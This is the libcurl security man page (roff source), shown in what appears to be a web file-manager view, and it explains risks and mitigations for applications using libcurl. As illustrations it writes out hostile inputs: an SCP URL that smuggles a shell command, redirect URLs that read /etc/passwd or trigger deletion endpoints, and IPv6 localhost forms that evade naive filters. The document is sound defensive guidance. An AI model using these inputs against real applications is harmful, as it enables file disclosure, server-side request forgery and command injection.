curl_url.3
1.92
KB
-rw-r--r--
curl_url_cleanup.3
1.63
KB
-rw-r--r--
curl_url_dup.3
1.91
KB
-rw-r--r--
curl_url_get.3
4.32
KB
-rw-r--r--
curl_url_set.3
6.05
KB
-rw-r--r--
curl_version.3
1.64
KB
-rw-r--r--
curl_version_info.3
8.59
KB
-rw-r--r--
libcurl-easy.3
3
KB
-rw-r--r--
libcurl-env.3
4.37
KB
-rw-r--r--
libcurl-errors.3
15.97
KB
-rw-r--r--
libcurl-multi.3
9.17
KB
-rw-r--r--
libcurl-security.3
19.3
KB
-rw-r--r--
libcurl-share.3
2.98
KB
-rw-r--r--
libcurl-symbols.3
46.39
KB
-rw-r--r--
libcurl-thread.3
5.37
KB
-rw-r--r--
libcurl-tutorial.3
60.72
KB
-rw-r--r--
libcurl-url.3
5.16
KB
-rw-r--r--
libcurl.3
11.37
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : libcurl-security.3
.\" ************************************************************************** .\" * _ _ ____ _ .\" * Project ___| | | | _ \| | .\" * / __| | | | |_) | | .\" * | (__| |_| | _ <| |___ .\" * \___|\___/|_| \_\_____| .\" * .\" * Copyright (C) 1998 - 2020, Daniel Stenberg, <daniel@haxx.se>, et al. .\" * .\" * This software is licensed as described in the file COPYING, which .\" * you should have received as part of this distribution. The terms .\" * are also available at https://curl.haxx.se/docs/copyright.html. .\" * .\" * You may opt to use, copy, modify, merge, publish, distribute and/or sell .\" * copies of the Software, and permit persons to whom the Software is .\" * furnished to do so, under the terms of the COPYING file. .\" * .\" * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY .\" * KIND, either express or implied. .\" * .\" ************************************************************************** .\" .TH libcurl-security 3 "March 09, 2020" "libcurl 7.70.0" "libcurl security" .SH NAME libcurl-security \- security considerations when using libcurl .SH "Security" The libcurl project takes security seriously. The library is written with caution and precautions are taken to mitigate many kinds of risks encountered while operating with potentially malicious servers on the Internet. It is a powerful library, however, which allows application writers to make trade-offs between ease of writing and exposure to potential risky operations. If used the right way, you can use libcurl to transfer data pretty safely. Many applications are used in closed networks where users and servers can (possibly) be trusted, but many others are used on arbitrary servers and are fed input from potentially untrusted users. Following is a discussion about some risks in the ways in which applications commonly use libcurl and potential mitigations of those risks. It is by no means comprehensive, but shows classes of attacks that robust applications should consider. The Common Weakness Enumeration project at https://cwe.mitre.org/ is a good reference for many of these and similar types of weaknesses of which application writers should be aware. .SH "Command Lines" If you use a command line tool (such as curl) that uses libcurl, and you give options to the tool on the command line those options can very likely get read by other users of your system when they use 'ps' or other tools to list currently running processes. To avoid these problems, never feed sensitive things to programs using command line options. Write them to a protected file and use the \-K option to avoid this. .SH ".netrc" \&.netrc is a pretty handy file/feature that allows you to login quickly and automatically to frequently visited sites. The file contains passwords in clear text and is a real security risk. In some cases, your .netrc is also stored in a home directory that is NFS mounted or used on another network based file system, so the clear text password will fly through your network every time anyone reads that file! For applications that enable .netrc use, a user who manage to set the right URL might then be possible to pass on passwords. To avoid these problems, don't use .netrc files and never store passwords in plain text anywhere. .SH "Clear Text Passwords" Many of the protocols libcurl supports send name and password unencrypted as clear text (HTTP Basic authentication, FTP, TELNET etc). It is very easy for anyone on your network or a network nearby yours to just fire up a network analyzer tool and eavesdrop on your passwords. Don't let the fact that HTTP Basic uses base64 encoded passwords fool you. They may not look readable at a first glance, but they very easily "deciphered" by anyone within seconds. To avoid this problem, use an authentication mechanism or other protocol that doesn't let snoopers see your password: Digest, CRAM-MD5, Kerberos, SPNEGO or NTLM authentication. Or even better: use authenticated protocols that protect the entire connection and everything sent over it. .SH "Un-authenticated Connections" Protocols that don't have any form of cryptographic authentication cannot with any certainty know that they communicate with the right remote server. If your application is using a fixed scheme or fixed host name, it is not safe as long as the connection is un-authenticated. There can be a man-in-the-middle or in fact the whole server might have been replaced by an evil actor. Un-authenticated protocols are unsafe. The data that comes back to curl may have been injected by an attacker. The data that curl sends might be modified before it reaches the intended server. If it even reaches the intended server at all. Remedies: .IP "Restrict operations to authenticated transfers" Ie use authenticated protocols protected with HTTPS or SSH. .IP "Make sure the server's certificate etc is verified" Never ever switch off certificate verification. .SH "Redirects" The \fICURLOPT_FOLLOWLOCATION(3)\fP option automatically follows HTTP redirects sent by a remote server. These redirects can refer to any kind of URL, not just HTTP. libcurl restricts the protocols allowed to be used in redirects for security reasons: only HTTP, HTTPS, FTP and FTPS are enabled by default. Applications may opt to restrict that set further. A redirect to a file: URL would cause the libcurl to read (or write) arbitrary files from the local filesystem. If the application returns the data back to the user (as would happen in some kinds of CGI scripts), an attacker could leverage this to read otherwise forbidden data (e.g. file://localhost/etc/passwd). If authentication credentials are stored in the ~/.netrc file, or Kerberos is in use, any other URL type (not just file:) that requires authentication is also at risk. A redirect such as ftp://some-internal-server/private-file would then return data even when the server is password protected. In the same way, if an unencrypted SSH private key has been configured for the user running the libcurl application, SCP: or SFTP: URLs could access password or private-key protected resources, e.g. sftp://user@some-internal-server/etc/passwd The \fICURLOPT_REDIR_PROTOCOLS(3)\fP and \fICURLOPT_NETRC(3)\fP options can be used to mitigate against this kind of attack. A redirect can also specify a location available only on the machine running libcurl, including servers hidden behind a firewall from the attacker. e.g. http://127.0.0.1/ or http://intranet/delete-stuff.cgi?delete=all or tftp://bootp-server/pc-config-data Applications can mitigate against this by disabling \fICURLOPT_FOLLOWLOCATION(3)\fP and handling redirects itself, sanitizing URLs as necessary. Alternately, an app could leave \fICURLOPT_FOLLOWLOCATION(3)\fP enabled but set \fICURLOPT_REDIR_PROTOCOLS(3)\fP and install a \fICURLOPT_OPENSOCKETFUNCTION(3)\fP callback function in which addresses are sanitized before use. .SH "Local Resources" A user who can control the DNS server of a domain being passed in within a URL can change the address of the host to a local, private address which a server-side libcurl-using application could then use. e.g. the innocuous URL http://fuzzybunnies.example.com/ could actually resolve to the IP address of a server behind a firewall, such as 127.0.0.1 or 10.1.2.3. Applications can mitigate against this by setting a \fICURLOPT_OPENSOCKETFUNCTION(3)\fP and checking the address before a connection. All the malicious scenarios regarding redirected URLs apply just as well to non-redirected URLs, if the user is allowed to specify an arbitrary URL that could point to a private resource. For example, a web app providing a translation service might happily translate file://localhost/etc/passwd and display the result. Applications can mitigate against this with the \fICURLOPT_PROTOCOLS(3)\fP option as well as by similar mitigation techniques for redirections. A malicious FTP server could in response to the PASV command return an IP address and port number for a server local to the app running libcurl but behind a firewall. Applications can mitigate against this by using the \fICURLOPT_FTP_SKIP_PASV_IP(3)\fP option or \fICURLOPT_FTPPORT(3)\fP. Local servers sometimes assume local access comes from friends and trusted users. An application that expects http://example.com/file_to_read that and instead gets http://192.168.0.1/my_router_config might print a file that would otherwise be protected by the firewall. Allowing your application to connect to local hosts, be it the same machine that runs the application or a machine on the same local network, might be possible to exploit by an attacker who then perhaps can "port-scan" the particular hosts - depending on how the application and servers acts. .SH "IPv6 Addresses" libcurl will normally handle IPv6 addresses transparently and just as easily as IPv4 addresses. That means that a sanitizing function that filters out addresses like 127.0.0.1 isn't sufficient--the equivalent IPv6 addresses ::1, ::, 0:00::0:1, ::127.0.0.1 and ::ffff:7f00:1 supplied somehow by an attacker would all bypass a naive filter and could allow access to undesired local resources. IPv6 also has special address blocks like link-local and site-local that generally shouldn't be accessed by a server-side libcurl-using application. A poorly-configured firewall installed in a data center, organization or server may also be configured to limit IPv4 connections but leave IPv6 connections wide open. In some cases, setting \fICURLOPT_IPRESOLVE(3)\fP to CURL_IPRESOLVE_V4 can be used to limit resolved addresses to IPv4 only and bypass these issues. .SH Uploads When uploading, a redirect can cause a local (or remote) file to be overwritten. Applications must not allow any unsanitized URL to be passed in for uploads. Also, \fICURLOPT_FOLLOWLOCATION(3)\fP should not be used on uploads. Instead, the applications should consider handling redirects itself, sanitizing each URL first. .SH Authentication Use of \fICURLOPT_UNRESTRICTED_AUTH(3)\fP could cause authentication information to be sent to an unknown second server. Applications can mitigate against this by disabling \fICURLOPT_FOLLOWLOCATION(3)\fP and handling redirects itself, sanitizing where necessary. Use of the CURLAUTH_ANY option to \fICURLOPT_HTTPAUTH(3)\fP could result in user name and password being sent in clear text to an HTTP server. Instead, use CURLAUTH_ANYSAFE which ensures that the password is encrypted over the network, or else fail the request. Use of the CURLUSESSL_TRY option to \fICURLOPT_USE_SSL(3)\fP could result in user name and password being sent in clear text to an FTP server. Instead, use CURLUSESSL_CONTROL to ensure that an encrypted connection is used or else fail the request. .SH Cookies If cookies are enabled and cached, then a user could craft a URL which performs some malicious action to a site whose authentication is already stored in a cookie. e.g. http://mail.example.com/delete-stuff.cgi?delete=all Applications can mitigate against this by disabling cookies or clearing them between requests. .SH "Dangerous SCP URLs" SCP URLs can contain raw commands within the scp: URL, which is a side effect of how the SCP protocol is designed. e.g. scp://user:pass@host/a;date >/tmp/test; Applications must not allow unsanitized SCP: URLs to be passed in for downloads. .SH "file://" By default curl and libcurl support file:// URLs. Such a URL is always an access, or attempted access, to a local resource. If your application wants to avoid that, keep control of what URLs to use and/or prevent curl/libcurl from using the protocol. By default, libcurl prohibits redirects to file:// URLs. .SH "Warning: file:// on Windows" The Windows operating system will automatically, and without any way for applications to disable it, try to establish a connection to another host over the network and access it (over SMB or other protocols), if only the correct file path is accessed. When first realizing this, the curl team tried to filter out such attempts in order to protect applications for inadvertent probes of for example internal networks etc. This resulted in CVE-2019-15601 and the associated security fix. However, we've since been made aware of the fact that the previous fix was far from adequate as there are several other ways to accomplish more or less the same thing: accessing a remote host over the network instead of the local file system. The conclusion we have come to is that this is a weakness or feature in the Windows operating system itself, that we as an application cannot safely protect users against. It would just be a whack-a-mole race we don't want to participate in. There are too many ways to do it and there's no knob we can use to turn off the practice. If you use curl or libcurl on Windows (any version), disable the use of the FILE protocol in curl or be prepared that accesses to a range of "magic paths" will potentially make your system try to access other hosts on your network. curl cannot protect you against this. .SH "What if the user can set the URL" Applications may find it tempting to let users set the URL that it can work on. That's probably fine, but opens up for mischief and trickery that you as an application author may want to address or take precautions against. If your curl-using script allow a custom URL do you also, perhaps unintentionally, allow the user to pass other options to the curl command line if creative use of special characters are applied? If the user can set the URL, the user can also specify the scheme part to other protocols that you didn't intend for users to use and perhaps didn't consider. curl supports over 20 different URL schemes. "http://" might be what you thought, "ftp://" or "imap://" might be what the user gives your application. Also, cross-protocol operations might be done by using a particular scheme in the URL but point to a server doing a different protocol on a non-standard port. Remedies: .IP "Use --proto" curl command lines can use \fI--proto\fP to limit what URL schemes it accepts .IP "Use CURLOPT_PROTOCOLS" libcurl programs can use \fICURLOPT_PROTOCOLS(3)\fP to limit what URL schemes it accepts .IP "consider not allowing the user to set the full URL" Maybe just let the user provide data for parts of it? Or maybe filter input to only allow specific choices? .SH "RFC 3986 vs WHATWG URL" curl supports URLs mostly according to how they are defined in RFC 3986, and has done so since the beginning. Web browsers mostly adhere to the WHATWG URL Specification. This deviance makes some URLs copied between browsers (or returned over HTTP for redirection) and curl not work the same way. This can mislead users into getting the wrong thing, connecting to the wrong host or otherwise not work identically. .SH "FTP uses two connections" When performing an FTP transfer, two TCP connections are used: one for setting up the transfer and one for the actual data. FTP is not only un-authenticated, but the setting up of the second transfer is also a weak spot. The second connection to use for data, is either setup with the PORT/EPRT command that makes the server connect back to the client on the given IP+PORT, or with PASV/EPSV that makes the server setup a port to listen to and tells the client to connect to a given IP+PORT. Again, un-authenticated means that the connection might be meddled with by a man-in-the-middle or that there's a malicious server pretending to be the right one. A malicious FTP server can respond to PASV commands with the IP+PORT of a totally different machine. Perhaps even a third party host, and when there are many clients trying to connect to that third party, it could create a Distributed Denial-Of-Service attack out of it! If the client makes an upload operation, it can make the client send the data to another site. If the attacker can affect what data the client uploads, it can be made to work as a HTTP request and then the client could be made to issue HTTP requests to third party hosts. An attacker that manages to control curl's command line options can tell curl to send an FTP PORT command to ask the server to connect to a third party host instead of back to curl. The fact that FTP uses two connections makes it vulnerable in a way that is hard to avoid. .SH "Denial of Service" A malicious server could cause libcurl to effectively hang by sending data very slowly, or even no data at all but just keeping the TCP connection open. This could effectively result in a denial-of-service attack. The \fICURLOPT_TIMEOUT(3)\fP and/or \fICURLOPT_LOW_SPEED_LIMIT(3)\fP options can be used to mitigate against this. A malicious server could cause libcurl to download an infinite amount of data, potentially causing all of memory or disk to be filled. Setting the \fICURLOPT_MAXFILESIZE_LARGE(3)\fP option is not sufficient to guard against this. Instead, applications should monitor the amount of data received within the write or progress callback and abort once the limit is reached. A malicious HTTP server could cause an infinite redirection loop, causing a denial-of-service. This can be mitigated by using the \fICURLOPT_MAXREDIRS(3)\fP option. .SH "Arbitrary Headers" User-supplied data must be sanitized when used in options like \fICURLOPT_USERAGENT(3)\fP, \fICURLOPT_HTTPHEADER(3)\fP, \fICURLOPT_POSTFIELDS(3)\fP and others that are used to generate structured data. Characters like embedded carriage returns or ampersands could allow the user to create additional headers or fields that could cause malicious transactions. .SH "Server-supplied Names" A server can supply data which the application may, in some cases, use as a file name. The curl command-line tool does this with \fI--remote-header-name\fP, using the Content-disposition: header to generate a file name. An application could also use \fICURLINFO_EFFECTIVE_URL(3)\fP to generate a file name from a server-supplied redirect URL. Special care must be taken to sanitize such names to avoid the possibility of a malicious server supplying one like "/etc/passwd", "\\autoexec.bat", "prn:" or even ".bashrc". .SH "Server Certificates" A secure application should never use the \fICURLOPT_SSL_VERIFYPEER(3)\fP option to disable certificate validation. There are numerous attacks that are enabled by applications that fail to properly validate server TLS/SSL certificates, thus enabling a malicious server to spoof a legitimate one. HTTPS without validated certificates is potentially as insecure as a plain HTTP connection. .SH "Report Security Problems" Should you detect or just suspect a security problem in libcurl or curl, contact the project curl security team immediately. See https://curl.haxx.se/dev/secprocess.html for details. .SH "Showing What You Do" Relatedly, be aware that in situations when you have problems with libcurl and ask someone for help, everything you reveal in order to get best possible help might also impose certain security related risks. Host names, user names, paths, operating system specifics, etc. (not to mention passwords of course) may in fact be used by intruders to gain additional information of a potential target. Be sure to limit access to application logs if they could hold private or security-related data. Besides the obvious candidates like user names and passwords, things like URLs, cookies or even file names could also hold sensitive data. To avoid this problem, you must of course use your common sense. Often, you can just edit out the sensitive data or just search/replace your true information with faked data.
Close
